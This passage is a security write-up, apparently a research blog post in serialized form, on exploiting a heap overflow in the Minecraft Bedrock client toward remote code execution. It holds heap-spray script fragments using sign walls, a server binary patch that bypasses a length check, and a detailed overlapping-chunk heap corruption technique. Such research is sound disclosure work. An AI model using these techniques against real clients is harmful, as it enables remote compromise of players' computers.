remove_wall",{"type":22,"tag":101,"props":154875,"children":154876},{"style":120},[154877],{"type":27,"value":19734},{"type":22,"tag":101,"props":154879,"children":154880},{"class":103,"line":27539},[154881,154885,154889],{"type":22,"tag":101,"props":154882,"children":154883},{"style":126},[154884],{"type":27,"value":154362},{"type":22,"tag":101,"props":154886,"children":154887},{"style":166},[154888],{"type":27,"value":960},{"type":22,"tag":101,"props":154890,"children":154891},{"style":120},[154892],{"type":27,"value":154371},{"type":22,"tag":101,"props":154894,"children":154895},{"class":103,"line":27547},[154896],{"type":22,"tag":101,"props":154897,"children":154898},{"style":120},[154899],{"type":27,"value":942},{"type":22,"tag":101,"props":154901,"children":154902},{"class":103,"line":27556},[154903,154907,154911,154915,154919,154923,154927,154931,154935,154939,154943,154947,154951,154955],{"type":22,"tag":101,"props":154904,"children":154905},{"style":3595},[154906],{"type":27,"value":7078},{"type":22,"tag":101,"props":154908,"children":154909},{"style":120},[154910],{"type":27,"value":3603},{"type":22,"tag":101,"props":154912,"children":154913},{"style":108},[154914],{"type":27,"value":15792},{"type":22,"tag":101,"props":154916,"children":154917},{"style":126},[154918],{"type":27,"value":154398},{"type":22,"tag":101,"props":154920,"children":154921},{"style":166},[154922],{"type":27,"value":960},{"type":22,"tag":101,"props":154924,"children":154925},{"style":1544},[154926],{"type":27,"value":1547},{"type":22,"tag":101,"props":154928,"children":154929},{"style":120},[154930],{"type":27,"value":21224},{"type":22,"tag":101,"props":154932,"children":154933},{"style":126},[154934],{"type":27,"value":154415},{"type":22,"tag":101,"props":154936,"children":154937},{"style":166},[154938],{"type":27,"value":12726},{"type":22,"tag":101,"props":154940,"children":154941},{"style":126},[154942],{"type":27,"value":154424},{"type":22,"tag":101,"props":154944,"children":154945},{"style":120},[154946],{"type":27,"value":21224},{"type":22,"tag":101,"props":154948,"children":154949},{"style":126},[154950],{"type":27,"value":154415},{"type":22,"tag":101,"props":154952,"children":154953},{"style":166},[154954],{"type":27,"value":55265},{"type":22,"tag":101,"props":154956,"children":154957},{"style":120},[154958],{"type":27,"value":1463},{"type":22,"tag":101,"props":154960,"children":154961},{"class":103,"line":27598},[154962,154966,154970,154974,154978,154982,154986,154990,154994,154998,155002,155006,155010,155014],{"type":22,"tag":101,"props":154963,"children":154964},{"style":3595},[154965],{"type":27,"value":64574},{"type":22,"tag":101,"props":154967,"children":154968},{"style":120},[154969],{"type":27,"value":3603},{"type":22,"tag":101,"props":154971,"children":154972},{"style":108},[154973],{"type":27,"value":15792},{"type":22,"tag":101,"props":154975,"children":154976},{"style":126},[154977],{"type":27,"value":154460},{"type":22,"tag":101,"props":154979,"children":154980},{"style":166},[154981],{"type":27,"value":960},{"type":22,"tag":101,"props":154983,"children":154984},{"style":1544},[154985],{"type":27,"value":1547},{"type":22,"tag":101,"props":154987,"children":154988},{"style":120},[154989],{"type":27,"value":21224},{"type":22,"tag":101,"props":154991,"children":154992},{"style":126},[154993],{"type":27,"value":154477},{"type":22,"tag":101,"props":154995,"children":154996},{"style":166},[154997],{"type":27,"value":12726},{"type":22,"tag":101,"props":154999,"children":155000},{"style":126},[155001],{"type":27,"value":154486},{"type":22,"tag":101,"props":155003,"children":155004},{"style":120},[155005],{"type":27,"value":21224},{"type":22,"tag":101,"props":155007,"children":155008},{"style":126},[155009],{"type":27,"value":154477},{"type":22,"tag":101,"props":155011,"children":155012},{"style":166},[155013],{"type":27,"value":55265},{"type":22,"tag":101,"props":155015,"children":155016},{"style":120},[155017],{"type":27,"value":1463},{"type":22,"tag":101,"props":155019,"children":155020},{"class":103,"line":27631},[155021],{"type":22,"tag":101,"props":155022,"children":155023},{"style":120},[155024],{"type":27,"value":154533},{"type":22,"tag":101,"props":155026,"children":155027},{"class":103,"line":27639},[155028,155032,155036],{"type":22,"tag":101,"props":155029,"children":155030},{"style":120},[155031],{"type":27,"value":154517},{"type":22,"tag":101,"props":155033,"children":155034},{"style":166},[155035],{"type":27,"value":614},{"type":22,"tag":101,"props":155037,"children":155038},{"style":120},[155039],{"type":27,"value":1884},{"type":22,"tag":101,"props":155041,"children":155042},{"class":103,"line":27647},[155043],{"type":22,"tag":101,"props":155044,"children":155045},{"style":120},[155046],{"type":27,"value":155047}," \n",{"type":22,"tag":101,"props":155049,"children":155050},{"class":103,"line":27656},[155051,155055,155059,155063,155067,155072],{"type":22,"tag":101,"props":155052,"children":155053},{"style":108},[155054],{"type":27,"value":154541},{"type":22,"tag":101,"props":155056,"children":155057},{"style":126},[155058],{"type":27,"value":154546},{"type":22,"tag":101,"props":155060,"children":155061},{"style":166},[155062],{"type":27,"value":960},{"type":22,"tag":101,"props":155064,"children":155065},{"style":3595},[155066],{"type":27,"value":40207},{"type":22,"tag":101,"props":155068,"children":155069},{"style":926},[155070],{"type":27,"value":155071}," wait_for_block",{"type":22,"tag":101,"props":155073,"children":155074},{"style":120},[155075],{"type":27,"value":1850},{"type":22,"tag":101,"props":155077,"children":155078},{"class":103,"line":27732},[155079,155084,155088,155092,155096,155100],{"type":22,"tag":101,"props":155080,"children":155081},{"style":126},[155082],{"type":27,"value":155083}," world",{"type":22,"tag":101,"props":155085,"children":155086},{"style":120},[155087],{"type":27,"value":231},{"type":22,"tag":101,"props":155089,"children":155090},{"style":926},[155091],{"type":27,"value":154568},{"type":22,"tag":101,"props":155093,"children":155094},{"style":120},[155095],{"type":27,"value":980},{"type":22,"tag":101,"props":155097,"children":155098},{"style":6476},[155099],{"type":27,"value":154577},{"type":22,"tag":101,"props":155101,"children":155102},{"style":120},[155103],{"type":27,"value":1706},{"type":22,"tag":101,"props":155105,"children":155106},{"class":103,"line":27765},[155107],{"type":22,"tag":101,"props":155108,"children":155109},{"style":126},[155110],{"type":27,"value":155111}," sign_location\n",{"type":22,"tag":101,"props":155113,"children":155114},{"class":103,"line":27773},[155115],{"type":22,"tag":101,"props":155116,"children":155117},{"style":120},[155118],{"type":27,"value":128621},{"type":22,"tag":101,"props":155120,"children":155121},{"class":103,"line":27781},[155122,155126,155130,155134],{"type":22,"tag":101,"props":155123,"children":155124},{"style":126},[155125],{"type":27,"value":154614},{"type":22,"tag":101,"props":155127,"children":155128},{"style":120},[155129],{"type":27,"value":231},{"type":22,"tag":101,"props":155131,"children":155132},{"style":926},[155133],{"type":27,"value":154221},{"type":22,"tag":101,"props":155135,"children":155136},{"style":120},[155137],{"type":27,"value":1850},{"type":22,"tag":101,"props":155139,"children":155140},{"class":103,"line":27818},[155141,155145,155149,155153,155157,155161],{"type":22,"tag":101,"props":155142,"children":155143},{"style":126},[155144],{"type":27,"value":154634},{"type":22,"tag":101,"props":155146,"children":155147},{"style":120},[155148],{"type":27,"value":231},{"type":22,"tag":101,"props":155150,"children":155151},{"style":926},[155152],{"type":27,"value":154242},{"type":22,"tag":101,"props":155154,"children":155155},{"style":120},[155156],{"type":27,"value":980},{"type":22,"tag":101,"props":155158,"children":155159},{"style":6476},[155160],{"type":27,"value":154251},{"type":22,"tag":101,"props":155162,"children":155163},{"style":120},[155164],{"type":27,"value":2510},{"type":22,"tag":101,"props":155166,"children":155167},{"class":103,"line":27831},[155168],{"type":22,"tag":101,"props":155169,"children":155170},{"style":120},[155171],{"type":27,"value":128621},{"type":22,"tag":101,"props":155173,"children":155174},{"class":103,"line":27844},[155175],{"type":22,"tag":101,"props":155176,"children":155177},{"emptyLinePlaceholder":15},[155178],{"type":27,"value":1581},{"type":22,"tag":101,"props":155180,"children":155181},{"class":103,"line":27857},[155182,155186,155190],{"type":22,"tag":101,"props":155183,"children":155184},{"style":120},[155185],{"type":27,"value":154517},{"type":22,"tag":101,"props":155187,"children":155188},{"style":166},[155189],{"type":27,"value":614},{"type":22,"tag":101,"props":155191,"children":155192},{"style":120},[155193],{"type":27,"value":1884},{"type":22,"tag":101,"props":155195,"children":155196},{"class":103,"line":27911},[155197],{"type":22,"tag":101,"props":155198,"children":155199},{"style":120},[155200],{"type":27,"value":2398},{"type":22,"tag":101,"props":155202,"children":155203},{"class":103,"line":27920},[155204],{"type":22,"tag":101,"props":155205,"children":155206},{"style":120},[155207],{"type":27,"value":1734},{"type":22,"tag":101,"props":155209,"children":155210},{"class":103,"line":36277},[155211],{"type":22,"tag":101,"props":155212,"children":155213},{"style":120},[155214],{"type":27,"value":188},{"type":22,"tag":101,"props":155216,"children":155217},{"class":103,"line":36298},[155218],{"type":22,"tag":101,"props":155219,"children":155220},{"emptyLinePlaceholder":15},[155221],{"type":27,"value":1581},{"type":22,"tag":101,"props":155223,"children":155224},{"class":103,"line":84458},[155225,155230,155234,155239,155243,155248,155252,155257,155261,155266,155270,155274],{"type":22,"tag":101,"props":155226,"children":155227},{"style":126},[155228],{"type":27,"value":155229},"world",{"type":22,"tag":101,"props":155231,"children":155232},{"style":120},[155233],{"type":27,"value":231},{"type":22,"tag":101,"props":155235,"children":155236},{"style":126},[155237],{"type":27,"value":155238},"afterEvents",{"type":22,"tag":101,"props":155240,"children":155241},{"style":120},[155242],{"type":27,"value":231},{"type":22,"tag":101,"props":155244,"children":155245},{"style":126},[155246],{"type":27,"value":155247},"playerSpawn",{"type":22,"tag":101,"props":155249,"children":155250},{"style":120},[155251],{"type":27,"value":231},{"type":22,"tag":101,"props":155253,"children":155254},{"style":926},[155255],{"type":27,"value":155256},"subscribe",{"type":22,"tag":101,"props":155258,"children":155259},{"style":120},[155260],{"type":27,"value":35519},{"type":22,"tag":101,"props":155262,"children":155263},{"style":126},[155264],{"type":27,"value":155265},"arg",{"type":22,"tag":101,"props":155267,"children":155268},{"style":120},[155269],{"type":27,"value":901},{"type":22,"tag":101,"props":155271,"children":155272},{"style":108},[155273],{"type":27,"value":18823},{"type":22,"tag":101,"props":155275,"children":155276},{"style":120},[155277],{"type":27,"value":154},{"type":22,"tag":101,"props":155279,"children":155280},{"class":103,"line":84471},[155281,155286],{"type":22,"tag":101,"props":155282,"children":155283},{"style":926},[155284],{"type":27,"value":155285}," create_wall",{"type":22,"tag":101,"props":155287,"children":155288},{"style":120},[155289],{"type":27,"value":934},{"type":22,"tag":101,"props":155291,"children":155292},{"class":103,"line":84479},[155293],{"type":22,"tag":101,"props":155294,"children":155295},{"style":120},[155296],{"type":27,"value":39334},{"type":22,"tag":101,"props":155298,"children":155299},{"class":103,"line":84487},[155300],{"type":22,"tag":101,"props":155301,"children":155302},{"emptyLinePlaceholder":15},[155303],{"type":27,"value":1581},{"type":22,"tag":101,"props":155305,"children":155306},{"class":103,"line":84495},[155307,155311,155315,155320,155324,155329,155333,155337,155341,155345,155349,155353,155357,155361],{"type":22,"tag":101,"props":155308,"children":155309},{"style":126},[155310],{"type":27,"value":155229},{"type":22,"tag":101,"props":155312,"children":155313},{"style":120},[155314],{"type":27,"value":231},{"type":22,"tag":101,"props":155316,"children":155317},{"style":126},[155318],{"type":27,"value":155319},"beforeEvents",{"type":22,"tag":101,"props":155321,"children":155322},{"style":120},[155323],{"type":27,"value":231},{"type":22,"tag":101,"props":155325,"children":155326},{"style":126},[155327],{"type":27,"value":155328},"playerLeave",{"type":22,"tag":101,"props":155330,"children":155331},{"style":120},[155332],{"type":27,"value":231},{"type":22,"tag":101,"props":155334,"children":155335},{"style":926},[155336],{"type":27,"value":155256},{"type":22,"tag":101,"props":155338,"children":155339},{"style":120},[155340],{"type":27,"value":980},{"type":22,"tag":101,"props":155342,"children":155343},{"style":108},[155344],{"type":27,"value":40142},{"type":22,"tag":101,"props":155346,"children":155347},{"style":120},[155348],{"type":27,"value":3603},{"type":22,"tag":101,"props":155350,"children":155351},{"style":126},[155352],{"type":27,"value":155265},{"type":22,"tag":101,"props":155354,"children":155355},{"style":120},[155356],{"type":27,"value":901},{"type":22,"tag":101,"props":155358,"children":155359},{"style":108},[155360],{"type":27,"value":18823},{"type":22,"tag":101,"props":155362,"children":155363},{"style":120},[155364],{"type":27,"value":154},{"type":22,"tag":101,"props":155366,"children":155367},{"class":103,"line":84535},[155368,155373],{"type":22,"tag":101,"props":155369,"children":155370},{"style":926},[155371],{"type":27,"value":155372}," remove_wall",{"type":22,"tag":101,"props":155374,"children":155375},{"style":120},[155376],{"type":27,"value":934},{"type":22,"tag":101,"props":155378,"children":155379},{"class":103,"line":84543},[155380],{"type":22,"tag":101,"props":155381,"children":155382},{"style":120},[155383],{"type":27,"value":39334},{"type":22,"tag":23,"props":155385,"children":155386},{},[155387],{"type":27,"value":155388},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":22,"tag":23,"props":155390,"children":155391},{},[155392],{"type":22,"tag":7959,"props":155393,"children":155396},{"alt":155394,"src":155395},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":22,"tag":23,"props":155398,"children":155399},{},[155400],{"type":27,"value":155401},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":22,"tag":22883,"props":155403,"children":155405},{"id":155404},"a-small-roadblock",[155406],{"type":27,"value":155407},"A Small Roadblock",{"type":22,"tag":23,"props":155409,"children":155410},{},[155411],{"type":27,"value":155412},"While testing our heap spray method, we encountered the following error:",{"type":22,"tag":91,"props":155414,"children":155416},{"code":155415},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[155417],{"type":22,"tag":30,"props":155418,"children":155419},{"__ignoreMap":7},[155420],{"type":27,"value":155415},{"type":22,"tag":23,"props":155422,"children":155423},{},[155424,155426,155432],{"type":27,"value":155425},"An error is thrown by the server executable while trying to assign text longer than ",{"type":22,"tag":30,"props":155427,"children":155429},{"className":155428},[],[155430],{"type":27,"value":155431},"512",{"type":27,"value":155433}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":22,"tag":23,"props":155435,"children":155436},{},[155437],{"type":27,"value":155438},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":22,"tag":23,"props":155440,"children":155441},{},[155442],{"type":27,"value":155443},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":22,"tag":23,"props":155445,"children":155446},{},[155447],{"type":22,"tag":7959,"props":155448,"children":155450},{"alt":54574,"src":155449},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":22,"tag":23,"props":155452,"children":155453},{},[155454,155456,155462],{"type":27,"value":155455},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":22,"tag":30,"props":155457,"children":155459},{"className":155458},[],[155460],{"type":27,"value":155461},"string_length \u003C= 512",{"type":27,"value":155463}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":22,"tag":23,"props":155465,"children":155466},{},[155467],{"type":27,"value":155468},"The disassembly of the comparison looks like this:",{"type":22,"tag":23,"props":155470,"children":155471},{},[155472],{"type":22,"tag":7959,"props":155473,"children":155475},{"alt":54574,"src":155474},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":22,"tag":23,"props":155477,"children":155478},{},[155479,155481,155486,155488,155493,155494,155499,155501,155507,155509,155515,155517,155522,155524,155529],{"type":27,"value":155480},"The code compares ",{"type":22,"tag":30,"props":155482,"children":155484},{"className":155483},[],[155485],{"type":27,"value":60771},{"type":27,"value":155487}," (the string length) to ",{"type":22,"tag":30,"props":155489,"children":155491},{"className":155490},[],[155492],{"type":27,"value":131321},{"type":27,"value":3603},{"type":22,"tag":30,"props":155495,"children":155497},{"className":155496},[],[155498],{"type":27,"value":155431},{"type":27,"value":155500}," decimal). It then performs a ",{"type":22,"tag":30,"props":155502,"children":155504},{"className":155503},[],[155505],{"type":27,"value":155506},"jbe",{"type":27,"value":155508},", jumping to address ",{"type":22,"tag":30,"props":155510,"children":155512},{"className":155511},[],[155513],{"type":27,"value":155514},"0x14275114c",{"type":27,"value":155516}," if ",{"type":22,"tag":30,"props":155518,"children":155520},{"className":155519},[],[155521],{"type":27,"value":60771},{"type":27,"value":155523}," is less than or equal to ",{"type":22,"tag":30,"props":155525,"children":155527},{"className":155526},[],[155528],{"type":27,"value":155431},{"type":27,"value":155530},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":22,"tag":23,"props":155532,"children":155533},{},[155534,155536,155541,155543,155549],{"type":27,"value":155535},"To force execution down this path, we patched the ",{"type":22,"tag":30,"props":155537,"children":155539},{"className":155538},[],[155540],{"type":27,"value":155506},{"type":27,"value":155542}," instruction to an unconditional ",{"type":22,"tag":30,"props":155544,"children":155546},{"className":155545},[],[155547],{"type":27,"value":155548},"jmp",{"type":27,"value":155550},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":22,"tag":23,"props":155552,"children":155553},{},[155554],{"type":22,"tag":7959,"props":155555,"children":155557},{"alt":54574,"src":155556},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":22,"tag":23,"props":155559,"children":155560},{},[155561,155563,155568,155570,155575],{"type":27,"value":155562},"After patching the server and calling ",{"type":22,"tag":30,"props":155564,"children":155566},{"className":155565},[],[155567],{"type":27,"value":153672},{"type":27,"value":155569}," with a size of ",{"type":22,"tag":30,"props":155571,"children":155573},{"className":155572},[],[155574],{"type":27,"value":62145},{"type":27,"value":155576},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":22,"tag":23,"props":155578,"children":155579},{},[155580],{"type":22,"tag":7959,"props":155581,"children":155583},{"alt":54574,"src":155582},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":22,"tag":1398,"props":155585,"children":155586},{},[],{"type":22,"tag":23,"props":155588,"children":155589},{},[155590],{"type":27,"value":155591},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":22,"tag":23,"props":155593,"children":155594},{},[155595],{"type":27,"value":155596},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":22,"tag":1760,"props":155598,"children":155600},{"id":155599},"overlapping-heap-chunks",[155601],{"type":27,"value":155602},"Overlapping Heap Chunks",{"type":22,"tag":23,"props":155604,"children":155605},{},[155606,155608,155613],{"type":27,"value":155607},"The attack is described in detail in the referenced blog post (",{"type":22,"tag":80,"props":155609,"children":155611},{"href":153416,"rel":155610},[84],[155612],{"type":27,"value":51581},{"type":27,"value":155614},"), so we will present a high-level overview.",{"type":22,"tag":23,"props":155616,"children":155617},{},[155618,155620,155626],{"type":27,"value":155619},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":22,"tag":30,"props":155621,"children":155623},{"className":155622},[],[155624],{"type":27,"value":155625},"_HEAP_VS_CHUNK_HEADER",{"type":27,"value":155627}," structure layout is required:",{"type":22,"tag":91,"props":155629,"children":155631},{"code":155630}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[155632],{"type":22,"tag":30,"props":155633,"children":155634},{"__ignoreMap":7},[155635],{"type":27,"value":155630},{"type":22,"tag":23,"props":155637,"children":155638},{},[155639,155641,155647,155649,155655,155656,155662,155663,155669,155671,155676,155678,155683,155685,155691,155693,155698,155700,155706],{"type":27,"value":155640},"At offset 0 there is a header ",{"type":22,"tag":30,"props":155642,"children":155644},{"className":155643},[],[155645],{"type":27,"value":155646},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":27,"value":155648}," containing fields such as ",{"type":22,"tag":30,"props":155650,"children":155652},{"className":155651},[],[155653],{"type":27,"value":155654},"MemoryCost",{"type":27,"value":758},{"type":22,"tag":30,"props":155657,"children":155659},{"className":155658},[],[155660],{"type":27,"value":155661},"UnsafeSize",{"type":27,"value":758},{"type":22,"tag":30,"props":155664,"children":155666},{"className":155665},[],[155667],{"type":27,"value":155668},"UnsafePrevSize",{"type":27,"value":155670},", etc. For the attack we only care about the ",{"type":22,"tag":30,"props":155672,"children":155674},{"className":155673},[],[155675],{"type":27,"value":155661},{"type":27,"value":155677}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":22,"tag":30,"props":155679,"children":155681},{"className":155680},[],[155682],{"type":27,"value":129944},{"type":27,"value":155684},", so for a chunk of size ",{"type":22,"tag":30,"props":155686,"children":155688},{"className":155687},[],[155689],{"type":27,"value":155690},"0x4010",{"type":27,"value":155692}," the value of ",{"type":22,"tag":30,"props":155694,"children":155696},{"className":155695},[],[155697],{"type":27,"value":155661},{"type":27,"value":155699}," would be ",{"type":22,"tag":30,"props":155701,"children":155703},{"className":155702},[],[155704],{"type":27,"value":155705},"0x401",{"type":27,"value":231},{"type":22,"tag":23,"props":155708,"children":155709},{},[155710,155711,155716],{"type":27,"value":3439},{"type":22,"tag":30,"props":155712,"children":155714},{"className":155713},[],[155715],{"type":27,"value":155661},{"type":27,"value":155717}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":22,"tag":23,"props":155719,"children":155720},{},[155721,155723,155728,155730,155735,155737,155743,155745,155750],{"type":27,"value":155722},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":22,"tag":30,"props":155724,"children":155726},{"className":155725},[],[155727],{"type":27,"value":155661},{"type":27,"value":155729}," in the smallest possible VS chunk (",{"type":22,"tag":30,"props":155731,"children":155733},{"className":155732},[],[155734],{"type":27,"value":155690},{"type":27,"value":155736},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":22,"tag":30,"props":155738,"children":155740},{"className":155739},[],[155741],{"type":27,"value":155742},"[0x10, 0xffff0]",{"type":27,"value":155744}," range, the probability that it exceeds ",{"type":22,"tag":30,"props":155746,"children":155748},{"className":155747},[],[155749],{"type":27,"value":155690},{"type":27,"value":155751}," is:",{"type":22,"tag":91,"props":155753,"children":155755},{"code":155754},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[155756],{"type":22,"tag":30,"props":155757,"children":155758},{"__ignoreMap":7},[155759],{"type":27,"value":155754},{"type":22,"tag":23,"props":155761,"children":155762},{},[155763],{"type":27,"value":155764},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":22,"tag":23,"props":155766,"children":155767},{},[155768],{"type":27,"value":155769},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":22,"tag":22883,"props":155771,"children":155773},{"id":155772},"overlap-attack-overview",[155774],{"type":27,"value":155775},"Overlap Attack Overview",{"type":22,"tag":23,"props":155777,"children":155778},{},[155779,155781,155786],{"type":27,"value":155780},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":22,"tag":30,"props":155782,"children":155784},{"className":155783},[],[155785],{"type":27,"value":129967},{"type":27,"value":155787}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":22,"tag":23,"props":155789,"children":155790},{},[155791,155793,155798,155800,155805],{"type":27,"value":155792},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":22,"tag":30,"props":155794,"children":155796},{"className":155795},[],[155797],{"type":27,"value":151675},{"type":27,"value":155799},"-sized chunks in the free list that we want to avoid. If a ",{"type":22,"tag":30,"props":155801,"children":155803},{"className":155802},[],[155804],{"type":27,"value":151675},{"type":27,"value":155806},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":22,"tag":23,"props":155808,"children":155809},{},[155810,155812,155817],{"type":27,"value":155811},"To remove those ",{"type":22,"tag":30,"props":155813,"children":155815},{"className":155814},[],[155816],{"type":27,"value":151675},{"type":27,"value":155818},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":22,"tag":23,"props":155820,"children":155821},{},[155822],{"type":27,"value":155823},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":22,"tag":91,"props":155825,"children":155827},{"code":155826},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[155828],{"type":22,"tag":30,"props":155829,"children":155830},{"__ignoreMap":7},[155831],{"type":27,"value":155826},{"type":22,"tag":23,"props":155833,"children":155834},{},[155835,155837,155842,155844,155849],{"type":27,"value":155836},"Next we create ",{"type":22,"tag":6961,"props":155838,"children":155839},{},[155840],{"type":27,"value":155841},"holes",{"type":27,"value":155843}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":22,"tag":30,"props":155845,"children":155847},{"className":155846},[],[155848],{"type":27,"value":151675},{"type":27,"value":155850},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":22,"tag":91,"props":155852,"children":155854},{"code":155853}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[155855],{"type":22,"tag":30,"props":155856,"children":155857},{"__ignoreMap":7},[155858],{"type":27,"value":155853},{"type":22,"tag":23,"props":155860,"children":155861},{},[155862,155864,155869,155871,155876],{"type":27,"value":155863},"When a ",{"type":22,"tag":30,"props":155865,"children":155867},{"className":155866},[],[155868],{"type":27,"value":151675},{"type":27,"value":155870}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":22,"tag":30,"props":155872,"children":155874},{"className":155873},[],[155875],{"type":27,"value":155661},{"type":27,"value":155877}," field will be overwritten:",{"type":22,"tag":91,"props":155879,"children":155881},{"code":155880}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[155882],{"type":22,"tag":30,"props":155883,"children":155884},{"__ignoreMap":7},[155885],{"type":27,"value":155880},{"type":22,"tag":23,"props":155887,"children":155888},{},[155889,155891,155896,155898,155903,155905,155910],{"type":27,"value":155890},"Once ",{"type":22,"tag":30,"props":155892,"children":155894},{"className":155893},[],[155895],{"type":27,"value":155661},{"type":27,"value":155897}," has been overwritten, ",{"type":22,"tag":30,"props":155899,"children":155901},{"className":155900},[],[155902],{"type":27,"value":151675},{"type":27,"value":155904}," allocation is freed immediately after, restoring the previous layout but with ",{"type":22,"tag":30,"props":155906,"children":155908},{"className":155907},[],[155909],{"type":27,"value":155661},{"type":27,"value":155911}," field corrupted:",{"type":22,"tag":91,"props":155913,"children":155915},{"code":155914}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[155916],{"type":22,"tag":30,"props":155917,"children":155918},{"__ignoreMap":7},[155919],{"type":27,"value":155914},{"type":22,"tag":23,"props":155921,"children":155922},{},[155923],{"type":27,"value":155924},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":22,"tag":91,"props":155926,"children":155928},{"code":155927}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[155929],{"type":22,"tag":30,"props":155930,"children":155931},{"__ignoreMap":7},[155932],{"type":27,"value":155927},{"type":22,"tag":23,"props":155934,"children":155935},{},[155936],{"type":27,"value":155937},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":22,"tag":91,"props":155939,"children":155941},{"code":155940}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[155942],{"type":22,"tag":30,"props":155943,"children":155944},{"__ignoreMap":7},[155945],{"type":27,"value":155940},{"type":22,"tag":1398,"props":155947,"children":155948},{},[],{"type":22,"tag":23,"props":155950,"children":155951},{},[155952],{"type":27,"value":155953},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":22,"tag":23,"props":155955,"children":155956},{},[155957],{"type":27,"value":155958},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":22,"tag":1760,"props":155960,"children":155962},{"id":155961},"molang",[155963],{"type":27,"value":155964},"Molang",{"type":22,"tag":23,"props":155966,"children":155967},{},[155968,155970,155977],{"type":27,"value":155969},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":22,"tag":80,"props":155971,"children":155974},{"href":155972,"rel":155973},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[84],[155975],{"type":27,"value":155976},"syntax 